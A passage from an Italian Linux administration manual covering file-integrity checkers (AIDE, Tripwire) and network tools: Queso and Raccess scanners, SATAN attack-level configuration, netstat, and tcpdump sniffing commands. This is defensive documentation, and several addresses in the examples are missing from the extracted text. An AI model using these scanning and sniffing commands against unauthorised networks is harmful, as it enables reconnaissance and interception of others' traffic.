### Attr Observed (what it is) Expected (what it should be) ### =========== ============================= ============================= /etc st_mtime: Tue Sep 29 12:17: Tue Sep 29 12:13:

80 2064 Verifica dell integrità dei file /etc/exports st_ino: st_size: st_mtime: Tue Sep 29 12:17: Tue Sep 29 12:13: md5 (sig1): 3TsxXpVgza:NQutDYSbVIm 1QLSacLNpOIOF6iUqeUo.m crc16 (sig4): 0008f5 0007e. L esempio mostra che dal controllo di integrità risulta variato il file /etc/exports : il numero di inode è cambiato e così anche la data di modifica, la dimensione è aumentata e le firme utilizzate (MD5 e CRC-16) sono ovviamente differenti. Anche la directory /etc/ risulta modificata, ma questo sembra essere solo una conseguenza dell alterazione di questo file Uso delle firme La firma, utilizzando uno o più dei vari metodi elencati nella descrizione della configurazione di Tripwire, serve a verificare che il file o la directory siano sempre gli stessi. La scelta della complessità della firma dipende dalla gravità o meno del problema che ha la sicurezza nel contesto per il quale si utilizza. Di solito ne vengono usate almeno due; se ci si accontenta, si possono usare anche firme piuttosto piccole e semplici. La scelta di firme elementari, riduce il livello di sicurezza, ma anche il peso dell elaborazione necessaria AIDE AIDE 2 è un altro programma per la verifica dell integrità dei file attraverso il confronto con le informazioni accumulate precedentemente, segnalando le aggiunte, le rimozioni e le alterazioni di file e directory. Si tratta di uno strumento prezioso per scoprire gli utilizzi impropri del sistema comprendendo l azione di cavalli di Troia e virus. Il funzionamento di AIDE è controllato da un file di configurazione, che generalmente è bene non lasciare nel file system per motivi di sicurezza, inserendolo solo nel momento del bisogno. Tale file di configurazione verrà identificato qui con il nome aide.conf, senza stabilire una collocazione ben precisa. Nello stesso modo, anche il file contenente le informazioni accumulate riguardo allo stato del file system va protetto, preferibilmente togliendolo dal file system stesso, in modo da garantire che non possa essere letto e alterato. AIDE può utilizzare diversi algoritmi crittografici per generare i codici di controllo necessari per le sue verifiche. Per questa ragione, a causa delle norme che impediscono l esportazione di algoritmi del genere, è improbabile che possa trovarsi all interno delle distribuzioni di origine USA Configurazione di AIDE: aide.conf La configurazione di AIDE è simile a quella di Tripwire, con l aggiunta di direttive nuove. In generale, a parte i commenti che si indicano preceduti dal simbolo # e le righe che non contengono direttive, si distinguono tre gruppi: direttive di configurazione, con le quali si stabiliscono delle modalità di funzionamento generali; direttive di selezione, con le quali si stabiliscono quali file e directory tenere sotto controllo; 2 AIDE GNU GPL

81 Verifica dell integrità dei file 2065 macroistruzioni. In generale, sono indispensabili solo le direttive di selezione che assomigliano molto alle direttive corrispondenti di Tripwire. Le macroistruzioni servono per scandire il file di configurazione in modo differente in base a condizioni determinate, come fa un preprocessore di un linguaggio di programmazione. Anche questa funzionalità è analoga a qualla di Tripwire e qui non viene descritta; eventualmente si può consultare la pagina di manuale aide.conf (5). Le direttive di configurazione hanno la forma seguente: nome =valore In particolare, quando il valore assegnato si riferisce a un file, viene usata una forma descritta nella tabella La descrizione delle direttive di configurazione appare invece nella tabella Tabella Modalità di indicazione dei file nelle direttive di configurazione. Forma Descrizione stdout Dati emessi attraverso lo standard output. stderr Dati emessi attraverso lo standard error. stdin Dati letti dallo standard input. file://file Si fa riferimento al file indicato. fd:n Si fa riferimento al descrittore di file n. Tabella Direttive di configurazione principali. Nome Predefinito Descrizione database file://./aide.db File delle informazioni accumulate in precedenza. database_out file://./aide.db.new File delle informazioni da accumulare. report_url stdout File usato per emettere le informazioni sull elaborazione. Una direttiva di configurazione che fa riferimento a un nome non conosciuto, serve a definire un gruppo. Ciò può essere utile successivamente nelle direttive di selezione, dove si può fare riferimento a questi gruppi senza dover ripetere sempre la stessa espressione di selezione. Questo verrà mostrato meglio successivamente. Le direttive di selezione hanno il formato seguente: {/! =}voce espressione Il primo carattere definisce il modo in cui va interpretata la direttiva: / include un file, o una directory e tutto il suo contenuto, per la scansione e la verifica;! escludere completamente un file, o una directory e tutto il suo contenuto, dalla scansione e dalla verifica; = escludere il contenuto di una directory dalla scansione e dalla verifica. Ciò che segue il primo carattere è inteso come un espressione regolare che descrive uno o più percorsi di file e directory. All interno di queste espressioni regolari, la barra obliqua normale, /, ha significato letterale. Il confronto attraverso espressioni regolari avviene se tale gestione è stata inclusa in fase di compilazione, pertanto ciò potrebbe anche mancare, funzionando solo un confronto letterale.

82 2066 Verifica dell integrità dei file L espressione che segue rappresenta il tipo di controllo da attuare, attraverso l indicazione di uno o più gruppi. Questi «gruppi» sono parole chiave che definiscono in breve ciò che deve essere verificato; queste parole chiave possono essere unite assieme inserendo il simbolo +, ma può essere usato anche il simbolo - per sottrarre delle verifiche incluse precedentemente. La tabella elenca i gruppi predefiniti e di seguito vengono mostrati alcuni esempi elementari: # Include la directory / e tutte le directory successive / p+i+n+u+g+s+m+c+md5 # Esclude la directory /dev/!/dev # Analizza esclusivamente la directory /tmp/ senza il suo contenuto =/tmp Tabella Elenco dei gruppi predefiniti. Simbolo Descrizione p Verifica dei bit dei permessi. i Verifica del numero di inode. n Numero di collegamenti fisici. u Utente proprietario. g Gruppo proprietario. s Dimensione. b Conteggio dei blocchi. m Data di modifica. a Data di accesso. c Data di modifica dell inode. S Incremento di dimensione. md5 Firma MD5. sha1 Firma SHA1. rmd160 Firma RMD160. tiger Firma Tiger. crc32 Firma CRC-32 (se incluso in fase di compilazione). haval Firma Haval (se incluso in fase di compilazione). gost Firma Gost (se incluso in fase di compilazione). R Equivalente a p+i+n+u+g+s+m+c+md5. L Equivalente a p+i+n+u+g. E Gruppo vuoto. > File delle registrazioni p+i+n+u+g+s. In precedenza è stata descritta la possibilità di definire dei gruppi aggiuntivi nell ambito delle direttive di configurazione. La sintassi di questa direttiva particolare è la seguente: nome_gruppo = gruppo_esistente[{+ -}gruppo_esistente]... In pratica, il segno + aggiunge il controllo del gruppo che precede, mentre il segno - sottrae il controllo del gruppo che precede. A titolo di esempio, viene mostrata la definizione di un gruppo personalizzato, in cui si utilizza il gruppo predefinito R senza la verifica della firma MD5: Personale = R-md5 Successivamente si può utilizzare esattamente come i gruppi predefiniti: /usr Personale È da osservare che i nomi usati nelle direttive di configurazione sono sensibili alla differenza tra maiuscole e minuscole.

83 Verifica dell integrità dei file 2067 Esempio /etc p+i+n+u+g+s+m+c+md5 /etc R /etc R+sha1!/home/pippo =/tmp R Descrizione Verifica la directory /etc/ e tutto il suo contenuto in modo ricorsivo, verificando: i bit dei permessi, i numeri di inode, i riferimenti agli inode, i numeri UID e GID, le date di modifica, le date di creazione degli inode e la firma MD5. Esattamente come nell esempio precedente, dal momento che il gruppo riassuntivo R rappresenta le stesse cose. Come nell esempio precedente, aggiungendo il controllo della firma SHA1. Esclude qualunque verifica a partire dal percorso /home/ pippo/. Verifica esclusivamente la directory /tmp/, senza analizzarne il contenuto Utilizzo aide è l eseguibile che svolge il compito di scansione e verifica dell integrità dei file e delle directory specificati nel file di configurazione. Si distinguono tre situazioni: la creazione del file contenente le informazioni sulla situazione attuale di ciò che si vuole tenere sotto controllo; l aggiornamento di queste informazioni in presenza di modifiche volontarie da parte dell amministratore; la verifica di integrità, cioè il confronto di queste informazioni con la situazione attuale. aide [opzioni] A seconda di come viene compilato il programma, si stabilisce la collocazione predefinita e il nome del file di configurazione e del file di registrazione delle informazioni. In generale, conviene utilizzare le opzioni necessarie a specificare tali file, quando queste sono disponibili. È da osservare che AIDE distingue nettamente tra il file contenente le informazioni accumulate in precedenza e quello che viene generato dall elaborazione. In generale si fa riferimento a aide.db per le informazioni originali e aide.db.new per quelle che vengono generate nuovamente. Una volta generato un file nuovo, è compito dell amministratore cambiargli nome o spostarlo opportunamente. Naturalmente, questa considerazione vale anche quando si usa l opzione --update per aggiornare un elenco vecchio, nel qual caso AIDE usa entrambi i file: uno in lettura e l altro in scrittura. Opzione --init --update --check --config=file_di_configurazione Descrizione Genera il file delle informazioni da conservare, in base alle specifiche della configurazione. Aggiorna il file delle informazioni (legge quello vecchio e ne genera uno nuovo). Verifica l integrità dei file secondo le informazioni accumulate in precedenza, informando l utente di conseguenza. Consente di indicare esplicitamente il file di configurazione da utilizzare. # aide --init --config=/root/aide.conf Genera il file di raccolta delle informazioni, utilizzando un nome predefinito in base alla compilazione dei sorgenti, oppure in base alla configurazione, che in questo caso viene indicato espressamente come /root/aide.conf.

84 2068 Verifica dell integrità dei file # aide --update --config=/root/aide.conf Genera un nuovo file di raccolta delle informazioni aggiornato. Il file di configurazione utilizzato è /root/aide.conf. # aide --check --config=/root/aide.conf Esegue una verifica di integrità, utilizzando il file di configurazione /root/aide.conf. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

85 Capitolo 189 Verifica della vulnerabilità della propria rete Sono disponibili alcuni applicativi in grado di sondare una rete, o un elaboratore singolo, alla ricerca di informazioni e di problemi noti che possono consentire a un aggressore di compiere delle azioni indesiderabili. I programmi di questo tipo sono strumenti di aggressione, ma lo scopo dovrebbe essere quello di aiutare gli amministratori a prevenire problemi nella sicurezza della rete di propria competenza. Di conseguenza, tali programmi vanno utilizzati esclusivamente contro sistemi che rientrano nella propria gestione, o per i quali è stata ottenuta l autorizzazione a farlo. L utilizzo di questo genere di programmi lascia generalmente delle tracce nel registro del sistema del nodo analizzato, pertanto queste azioni potrebbero anche essere considerate un attività ostile e scatenare la reazione degli amministratori rispettivi Queso Queso, 1 è un programma che, attraverso l invio di pacchetti TCP a una porta qualunque (purché ci sia qualcosa in ascolto) di un certo nodo, cerca di determinarne il sistema operativo. Teoricamente, la scelta della porta è indifferente, purché si tratti di una porta presso cui sia disponibile un servizio in ascolto; comunque, se non viene specificata si fa riferimento alla numero 80. queso [opzioni] indirizzo_ipv4[/n][:porta] L indirizzo, se è seguito da una barra obliqua e da un numero, rappresenta un gruppo di nodi da sondare, dove ciò che segue la barra obliqua è la maschera di rete espressa come quantità di bit a uno da considerare nell indirizzo. Se l indirizzo è seguito da due punti e un numero, si intende fare riferimento esplicito a una certa porta da usare per le prove. Queso ha la necessità di funzionare con i privilegi dell utente root. Segue la descrizione di alcuni esempi: # queso Cerca di determinare con quale sistema operativo funziona il nodo # queso /24 Cerca di determinare con quale sistema operativo funzionano i nodi *. # queso :111 Cerca di determinare con quale sistema operativo funziona il nodo , utilizzando per questo la porta 111. Le informazioni in base alle quali è possibile individuare di che tipo di sistema operativo si tratta, sono contenute nel file di configurazione, che corrisponde a /etc/queso.conf. Si comprende intuitivamente come è organizzato questo file, osservando quanto già contiene; se si incontra un tipo di risposta imprevisto, si può aggiornare il file configurazione con l opzione -w, andando poi a ritoccare l annotazione aggiunta con la descrizione del sistema, che si presume conoscere per altre vie: 1 Queso GNU GPL 2069

86 2070 Verifica della vulnerabilità della propria rete *- Unknown : SA R R SA SA L esempio rappresenta ciò che si può ottenere in questi casi, in coda al file. È sufficiente modificare la prima riga, in un modo simile a quello seguente: *- GNU/Linux, kernel SA R R SA SA Raccess Raccess, 2 ovvero Remote Access Session, è un programma molto semplice per la scansione di un elaboratore o di una rete di elaboratori, alla ricerca di problemi. Il suo utilizzo è molto semplice: raccess [opzioni] nodo raccess [opzioni] -n indirizzo_ipv4/n L uso normale di Raccess prevede di sondare un solo nodo, mentre l opzione -n consente di indicare un indirizzo IPv4 seguito dalla maschera di rete espressa come quantità di bit iniziali da considerare. Se Raccess si avvia con l opzione -s si ottiene la verifica dei servizi di rete disponibili, senza la ricerca di difetti specifici insiti in una certa versione di un certo servizio. Segue la descrizione di alcuni esempi. $ raccess Verifica le debolezze eventuali del nodo corrispondente all indirizzo Si ottiene l elenco dei servizi che sembrano essere disponibili, con le informazioni che questi forniscono, inoltre viene offerta la possibilità di controllare la presenza di carenze specifiche (exploit). $ raccess -n /24 Esegue una scansione ricorsiva a partire dal nodo , per tutti gli indirizzi *. Il funzionamento di Raccess richiede comunque una forma di interazione con l utente; in particolare, al termine dell analisi di ogni nodo, viene chiesto se conservare o cancellare il file contenente il rapporto generato. Questo file viene creato nella directory corrente, con un nome corrispondente all indirizzo dell elaboratore sondato. Per esempio, il file contiene le notizie raccolte a proposito del nodo che ha lo stesso indirizzo. Ecco come si può presentare il contenuto di questo file: 2 Raccess GNU GPL

87 Verifica della vulnerabilità della propria rete Report Service ssh Port 22 opened!!-- SSH-1.99-OpenSSH_3.4p1 Debian 1:3.4p Service telnet Port 23 opened!!-- --Service smtp Port 25 opened!! roggen.brot.dg ESMTP Exim 3.35 #1 Thu, 14 Nov :34: Service www Port 80 opened!!-- Server: Boa/ Service sunrpc Port 111 opened!! SATAN o SANTA SATAN 3 (Security administration tool for analyzing networks, ovvero SANTA, per chi lo preferisce), è un vecchio applicativo in grado di scandagliare uno o più elaboratori connessi in rete allo scopo di verificarne le debolezze. Il difetto maggiore di SATAN è quello di essere un lavoro piuttosto vecchio e non più aggiornato sulle nuove tecniche di attacco per le quali si vorrebbe poter verificare la solidità dei propri sistemi. Quindi, SATAN va bene come verifica di massima, cosa che comunque non è trascurabile. SATAN è un pacchetto applicativo composto da una serie di eseguibili binari, ognuno specifico per un tipo di verifica, una serie di programmi Perl e una serie di moduli HTML. In teoria si potrebbe usare SATAN esclusivamente attraverso un programma per la navigazione, ma per ottenere questo si va incontro a una serie di complicazioni che forse non è il caso di affrontare, per il semplice fatto che non ne vale la pena e il risultato pratico non cambia. In queste sezioni verrà mostrato come utilizzare SATAN, specificando quanto serve per avviare la scansione attraverso la riga di comando e come analizzare il risultato ottenuto attraverso un navigatore Preparazione SATAN non viene distribuito in forma già compilata. Si tratta di un pacchetto rivolto a persone esperte, per cui, reperire SATAN in forma già compilata e pronta da installare, è solo un sintomo sospetto di una possibile manomissione. La versione originale di SATAN potrebbe offrire delle difficoltà impreviste alla compilazione nei sistemi GNU/Linux. A questo proposito esistono delle versioni accompagnate da file di differenze appositi (patch), che risolvono i problemi. A titolo di esempio si suppone di avere ritrovato il pacchetto satan linux-3.src.rpm. SATAN è un pacchetto particolare e la sua destinazione predefinita nel file system è al di fuori delle collocazioni normali. Dovendo essere uno strumento esclusivamente nelle mani dell amministratore, la sua collocazione più conveniente dovrebbe essere /root/satan/. La ricompilazione del pacchetto potrebbe non giungere alla collocazione definitiva dei file, lasciando l amministratore libero di scegliere. # cd /tmp # rpm --recompile /usr/src/redhat/srpms/satan linux-3.src.rpm 3 SATAN software non libero

88 2072 Verifica della vulnerabilità della propria rete Al termine della compilazione, SATAN potrebbe essere stato collocato nella sua destinazione finale predefinita, oppure in una directory transitoria, a partire da quella corrente. Nel caso particolare del pacchetto indicato come esempio, SATAN si trova collocato sotto./satantmp/ root/satan/. Il tutto viene spostato nella directory /root/. # mv./satantmp/root/satan /root Navigatore Il programma satan che è scritto in Perl, se viene utilizzato senza argomenti avvia un navigatore; precisamente avvia quanto determinato in fase di configurazione prima della compilazione dei sorgenti. Se è stato installato Netscape, sarà questo il navigatore predefinito, ma Netscape può creare qualche problema, a causa delle particolarità dell organizzazione di SATAN. Lynx (o un altro navigatore senza grafica) sarebbe più che sufficiente per il lavoro che si vuole fare con SATAN; a tale proposito, conviene modificare il file /root/satan/config/paths.pl. $MOSAIC="/usr/bin/netscape"; La riga mostrata va modificata come nel modo seguente: $MOSAIC="/usr/bin/lynx"; Perl SATAN dipende dall interprete Perl, che quindi deve essere installato. Se per qualche motivo non si riesce ad avviare i programmi Perl, conviene controllare l intestazione ed eventualmente provvedere a rendere disponibili i collegamenti necessari. In generale, questo problema non dovrebbe esistere, dal momento che in fase di compilazione dei sorgenti vengono modificate queste intestazioni in modo da puntare all interprete Perl installato effettivamente. Un altro problema che può essere generato da questi programmi Perl è la configurazione delle variabili per la localizzazione: LANG e la serie LC_ *. Se la loro configurazione non è corretta in base all impostazione del proprio sistema, Perl mostra una segnalazione di errore per ogni programma avviato, attraverso lo standard error. perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LC_ALL = "mia_locale", LANG = "it_it.iso " are supported and installed on your system. perl: warning: Falling back to the standard locale ("C"). Nell esempio si mostra che Perl ha scoperto una definizione impropria della variabile LC_ALL, dal momento che non esiste il tipo di localizzazione mia_locale. Per risolvere il problema, se non si trova la definizione giusta per la localizzazione, conviene eliminare la configurazione del variabili di localizzazione, oppure impostare LC_ALL al valore C. # export LC_ALL=C

89 Verifica della vulnerabilità della propria rete Configurazione La configurazione di SATAN è contenuta in alcuni file collocati nella directory satan/ config/. File satan/config/paths.pl satan/config/paths.sh satan/config/services satan/config/satan.cf Descrizione Un pezzo di programma Perl per la definizione di alcune variabili contenenti i percorsi dei programmi utilizzati da SA- TAN. In questo file, in particolare, deve essere indicato il percorso del navigatore che si vuole utilizzare. Un pezzo di script di shell per la definizione di alcune variabili di ambiente, contenenti il riferimento ad alcuni programmi utilizzati. L equivalente del file /etc/services, ma a uso personale di SATAN. Configurazione del funzionamento di SATAN. Tra tutti questi file, merita attenzione satan/config/satan.cf. Dalla sua corretta configurazione dipende il buon funzionamento di SATAN. Si tratta di un pezzo di file Perl, all interno del quale si annotano una serie di assegnamenti a variabili di vario tipo (scalari, array, hash), secondo le regole di Perl. Di seguito vengono indicate alcune direttive più importanti. # Where do we keep the data? This is just a default. $satan_data = "satan-data"; La variabile $satan_data permette di definire il nome della directory all interno della quale inserire i file contenenti il rapporto delle scansioni fatte da SATAN. Questa directory discenderà da satan/results/ e solitamente, come mostra l esempio, si tratta di satan/results/ satan-data/. # Default attack level (0=light, 1=normal, 2=heavy). $attack_level = 2; Il livello dell attacco, definito attraverso la variabile $attack_level, permette di specificare tre valori, da zero a due. L attacco più pesante è rappresentato dal numero due. # status file; keeps track of what SATAN is doing. $status_file = "status_file"; SATAN accumula la registrazione sommaria delle operazioni compiute all interno di un file. Generalmente si tratta di satan/status_file, come mostra l esempio in cui si definisce la variabile omonima. # How far out from the original target do we attack? Zero means that we only # look at the hosts or network that you specify. One means look at neighboring # hosts, too. Anything over two is asking for problems, unless you are on the # inside of a firewall. $max_proximity_level = 1; La variabile $max_proximity_level permette di definire il cosiddetto livello di prossimità, cioè quali nodi scandire. In pratica, zero significa limitare la scansione all unico nodo indicato come punto di inizio, che rappresenta la scelta migliore fino a quando non si conosce l uso di SATAN; uno indica a SATAN di provare tutti i nodi vicini. Usando un valore superiore a due, si inizia in pratica una scansione su tutto ciò che è raggiungibile attraverso la rete (cosa da evitare). # Attack level drops by this much each proximity level change $proximity_descent = 1;

90 2074 Verifica della vulnerabilità della propria rete Per evitare la proliferazione degli attacchi, si può stabilire la riduzione del livello dell attacco, ogni volta che si passa a uno strato più esterno di nodi, cioè ogni volta che si attraversa un livello di prossimità. # when we go below zero attack, do we stop (0) or go on (1)? $sub_zero_proximity = 0; Attraverso la variabile $sub_zero_proximity è possibile dire a SATAN cosa fare quando il livello di attacco è arrivato sotto il numero zero. Assegnando zero si intende concludere la scansione; assegnando uno si intende proseguire fino all esaurimento degli strati di prossimità. # a question; do we attack subnets when we nuke a target? # 0 = no; 1 = primary target subnet $attack_proximate_subnets = 0; È possibile dire a SATAN di attaccare l intera sottorete di un nodo individuato. Generalmente, non si utilizza questa possibilità, a meno che si stia tentando di individuare un possibile elaboratore collocato nella propria rete locale senza permesso. Assegnando il valore uno alla variabile $attack_proximate_subnets si ottiene l attacco alla sottorete. # Does SATAN run on an untrusted host? (0=no; 1=yes, this host may appear # in the rhosts, hosts.equiv or NFS export files of hosts that are being # probed). # $untrusted_host = 1; Attraverso questa variabile, è possibile richiedere a SATAN una verifica della «fiducia» accordata al sistema locale presso quelli che vengono scandagliati. In pratica, se si assegna il valore uno alla variabile $untrusted_host, SATAN tenta di accedere attraverso rsh presso i nodi da analizzare, verificando anche la disponibilità di directory esportate attraverso il protocollo NFS. # If $only_attack_these is non-null, *only* hit sites if they are of this # type. You can specify a domain (podunk.edu) or network number # ( ). You can specify a list of shell-like patterns with domains # or networks, separated by whitespace or commas. $only_attack_these = "brot.dg, "; Per evitare di sconfinare oltre la propria sottorete o il proprio dominio, è possibile utilizzare la variabile $only_attack_these, a cui assegnare una stringa contenente un elenco di domini e di indirizzi IP parziali, come si vede nell esempio. # Stay away from anyone that matches these patterns. # $dont_attack_these = "gov, mil"; Nello stesso modo, è possibile evitare esplicitamente domini e indirizzi IP, attraverso l uso della variabile $dont_attack_these. Nell esempio si vogliono evitare i domini gov e mil. # Set the following to nonzero if DNS (internet name service) is unavailable. # $dont_use_nslookup = 0; Per SATAN è importante che il servizio DNS sia disponibile. Se non è così, si deve assegnare il valore uno alla variabile $dont_use_nslookup. # Should SATAN ping hosts to see if they are alive? # $dont_use_ping = 0; SATAN utilizza ping per verificare la presenza dei nodi. Nel caso si volesse evitare il suo utilizzo, si può assegnare il valore uno alla variabile $dont_use_ping. Il file di configurazione termina con la riga seguente. Si tratta di qualcosa che riguarda Perl e non deve essere cambiato.

91 Verifica della vulnerabilità della propria rete ; Avvio del programma satan è il programma Perl che si utilizza per la scansione dei nodi da verificare e anche per avviare l interfaccia HTML, attraverso un navigatore come definito con la variabile $MOSAIC nel file satan/config/paths.pl. satan [opzioni] [obiettivo_primario] Se satan viene avviato con l indicazione di un nodo da controllare (attaccare), inizia l operazione in base alla configurazione contenuta nel file satan/config/satan.cf, con le varianti apportate attraverso le opzioni della riga di comando. Ciò che si ottiene alla fine dell elaborazione è l aggiornamento dei file contenuti a partire dalla directory satan/results/. Per la lettura dei risultati, si utilizza normalmente il sistema HTML, avviato attraverso satan senza argomenti. Per utilizzare satan, non occorre sistemare la variabile di ambiente PATH. Tuttavia, è necessario che la directory corrente corrisponda alla posizione iniziale del pacchetto. Per esempio, se il tutto si trova a partire da /root/satan/, occorrerà che questa sia la directory corrente prima dell avvio del programma. Opzione -a {0 1 2} -l {0 1 2} -s -v Descrizione Permette di ridefinire il livello di attacco: zero è il minimo, due è il massimo. Definisce il livello di prossimità: zero rappresenta solo il nodo di partenza; uno i nodi prossimi. Non è conveniente usare un valore superiore a due, perché questo rappresenta implicitamente qualunque nodo raggiungibile. Allargamento alla sottorete: con questa opzione, ogni volta che si individua un nodo si allarga la ricerca anche a tutta la sottorete (l ultimo ottetto dell indirizzo IP). Visualizza le azioni compiute da satan durante la sua scansione. #./satan roggen.brot.dg Inizia la verifica del nodo roggen.brot.dg in base alla configurazione stabilita nel file satan/config/satan.cf. #./satan -s roggen.brot.dg Come nell esempio precedente, espandendo la scansione a tutta la sottorete a cui appartiene il nodo indicato. #./satan Avvia il navigatore con l interfaccia HTML.

92 2076 Verifica della vulnerabilità della propria rete Verifica del risultato Il risultato dell elaborazione (degli attacchi) di SATAN viene memorizzato all interno di file collocati a partire dalla directory satan/results/. Si tratta di file di testo che potrebbero essere interpretati così come sono, con qualche piccola difficoltà. In alternativa, si può usare convenientemente un navigatore, avviato tramite l eseguibile satan. La figura mostra il menù principale che si ottiene all inizio. Figura Il menù principale che si ottiene quando l eseguibile satan viene avviato in modo da utilizzare il navigatore. SATAN Control Panel (Security Administrator Tool for Analyzing Networks) * SATAN Data Management * SATAN Target selection * SATAN Reporting & Data Analysis * SATAN Configuration Management * SATAN Documentation * SATAN Troubleshooting * Getting the Latest version of SATAN * Couldn t you call it something other than "SATAN"? * Bout the SATAN image * Bout the authors Dal menù principale, si seleziona normalmente il riferimento Reporting & Data Analysis, per visualizzare il rapporto sulla scansione eseguita. Si ottiene un altro menù, con il quale selezionare il tipo di informazione desiderata. Figura Il menù che permette di accedere alle informazioni accumulate. Vulnerabilities * By Approximate Danger Level * By Type of Vulnerability * By Vulnerability Count Host Information * By Class of Service * By System Type * By Internet Domain * By Subnet * By Host Name Trust * Trusted Hosts * Trusting Hosts SATAN Reporting and Analysis A titolo di esempio, la figura mostra il responso di una scansione che ha rivelato alcuni elementi di vulnerabilità. In corrispondenza di ognuna delle due voci si trova un riferimento che porta a delle spiegazioni più dettagliate. Figura Esempio del responso di vulnerabilità di un nodo, distinto in base al tipo. Vulnerabilities - By Type Number of hosts per vulnerability type. * unrestricted NFS export - 1 host(s) * remote shell access - 1 host(s) Note: hosts may appear in multiple categories.

93 Verifica della vulnerabilità della propria rete 2077 Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

94 Capitolo 190 Strumenti per il controllo e l analisi del traffico IP L analisi del traffico della rete, sia per mezzo dell intercettazione di tutti i pacchetti che attraversano una rete fisica, sia per mezzo del controllo di ciò che riguarda esclusivamente una singola interfaccia di rete del nodo locale, è molto importante per comprendere i problemi legati alla sicurezza e per scoprire inconvenienti di vario genere. L uso produttivo degli strumenti che vengono descritti in questo capitolo richiederebbe una preparazione adeguata sulla composizione dei pacchetti dei protocolli TCP/IP, diversamente si riesce solo a sfiorare la comprensione di quello che accade. Tuttavia, per quanto poco, un po di pratica con questi può essere utile in ogni caso Netstat Netstat 1 è un programma specifico di GNU/Linux, in grado di mostrare in modo agevole alcune informazioni contenute nella directory /proc/net/. Le informazioni disponibili sono molte, anche troppe. In queste sezioni viene mostrato solo un uso limitato di Netstat, riferito ai protocolli TCP/IP. Le informazioni disponibili riguardano esclusivamente la sfera del nodo locale, comprese le connessioni che lo riguardano. Netstat potrebbe essere utilizzato per fornire le stesse informazioni che si possono ottenere già da route, ifconfig e in parte da iptables. In generale, comunque, questo non dovrebbe essere il suo uso normale, che qui non viene mostrato Avvio del programma L eseguibile netstat emette attraverso lo standard output una serie di notizie riferite a tutti i tipi di connessione disponibili, traendo le informazioni dai file virtuali della directory /proc/ net/. netstat [opzioni] Se netstat viene usato senza opzioni, mostra la situazione di tutti i tipi di collegamento, elencando i socket aperti. Se tra le opzioni appare l indicazione di uno o più protocolli, le informazioni che si ottengono si limitano a quanto richiesto espressamente. Opzione Descrizione -t --tcp Richiede espressamente lo stato delle connessioni TCP. Richiede espressamente lo stato dei socket che utilizzano il -u --udp protocollo UDP. Richiede espressamente le informazioni che riguardano l uso --inet --ip dei protocolli TCP/IP. -e Richiede di aggiungere l indicazione dell utente proprietario del processo relativo. -o Richiede di aggiungere l indicazione dei timer di rete. -a Elenca tutte le porte utilizzate, incluse quelle dei serventi in ascolto. -n Mostra le informazioni in forma numerica: indirizzi IP, numeri di porta, numeri UID. 1 net-tools GNU GPL 2078

95 Strumenti per il controllo e l analisi del traffico IP 2079 Segue la descrizione di alcuni esempi. # netstat --inet Emette l elenco dei socket di dominio Internet, ovvero tutte le comunicazioni aperte tra i programmi attraverso i protocolli TCP/IP. # netstat --inet -e Come nell esempio precedente, aggiungendo l indicazione degli utenti proprietari dei processi che attuano le connessioni. # netstat --tcp -a Mostra la situazione delle porte TCP, in particolare quelle dei servizi in ascolto Interpretazione del risultato Gli elenchi restituiti da Netstat sono composti in forma tabellare. Di seguito appare la descrizione dei nomi delle colonne di queste. Colonna Stato Descrizione Proto Rappresenta il protocollo utilizzato in ogni porta attiva. Può trattarsi di tcp, udp e raw. Recv-Q, Send-Q Rappresenta la coda di byte che sono stati ricevuti ma non ancora prelevati dal programma che utilizza la connessione, o che sono stati trasmessi ma per i quali non è stata ricevuta conferma dal nodo remoto. Local Address, Foreign Address State User ESTABLISHED SYN SENT SYN RECV FIN WAIT1 FIN WAIT2 TIME WAIT CLOSED CLOSE WAIT LAST ACK LISTEN CLOSING UNKNOWN Rappresenta rispettivamente l indirizzo locale e quello remoto, completo dell indicazione della porta relativa. Rappresenta lo stato della porta, indicato attraverso una parola chiave tra quelle elencate di seguito. Lo stato riguarda prevalentemente le connessioni TCP, negli altri casi dovrebbe essere assente. La porta ha una connessione in corso. La porta sta tentando di instaurare una connessione. È in corso l inizializzazione della connessione. La porta è chiusa e la connessione è in corso di conclusione. La connessione è chiusa e la porta è in attesa della conferma dall altra parte. La porta è in attesa della conferma della conclusione della connessione. La porta non è in uso. La porte remota conclude la connessione ed è in attesa di conferma dell altra parte. La parte remota chiude la connessione e la porta è chiusa: si è in attesa della conferma finale. La porta è in ascolto in attesa di connessioni in arrivo. Queste porte vengono indicate solo se si utilizza l opzione -a. Entrambe le porte stanno chiudendo la connessione, ma i dati non sono stati inviati completamente. Lo stato della porta è sconosciuto. Il nome o il numero UID dell utente proprietario della porta. Si ottiene questa informazione con l opzione -e.

96 2080 Strumenti per il controllo e l analisi del traffico IP A titolo di esempio viene mostrato come può apparire una connessione TELNET tra dinkel.brot.dg e roggen.brot.dg. # netstat --tcp[ Invio ] Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 roggen.brot.dg:1170 dinkel.brot.dg:telnet ESTABLISHED tcp 0 0 dinkel.brot.dg:telnet roggen.brot.dg:1170 ESTABLISHED Tcpdump Tcpdump 2 è lo strumento fondamentale per l analisi del traffico che avviene nella rete fisica a cui si è collegati. Permette sia di ottenere una visione sintetica dei pacchetti, sia di visualizzarne il contenuto in esadecimale. Inoltre, è possibile definire un filtro ai pacchetti da prendere in considerazione. Purtroppo, il suo utilizzo efficace richiede un ottima conoscenza dei protocolli TCP/IP. I pacchetti vengono analizzati solo nella prima parte, normalmente di 68 byte, perdendo le informazioni successive. Eventualmente, questa dimensione può essere aumentata, anche se in generale ciò è sconsigliabile dal momento che richiederebbe un tempo di elaborazione maggiore, portando anche alla perdita di pacchetti. Tcpdump può generare un risultato in esadecimale, oppure può emettere i pacchetti così come sono. Per poter interpretare il contenuto dei pacchetti, è necessario conoscere la loro struttura, in base ai protocolli relativi. A titolo di esempio, viene mostrato un programma Perl elementare, per filtrare i caratteri di controllo ASCII: #!/usr/bin/perl while ($riga = <STDIN>) { $riga =~ tr/\x00-\x1f//; $riga =~ tr/\x7f//; $riga =~ tr/\xff//; print STDOUT ("$riga"); } Supponendo che questo sia il programma filtro, si può spiare in modo molto banale ciò che passa per la rete con il comando seguente: # tcpdump -l -i eth0 -s 0 -w - filtro La cosa diventa ancora più semplice se si vuole utilizzare il programma strings che dovrebbe essere disponibile in tutti i sistemi standard: # tcpdump -l -i eth0 -s 0 -w - strings Avvio del programma tcpdump emette le informazioni tratte dalla parte iniziale dei pacchetti che possono essere intercettati attraverso un interfaccia di 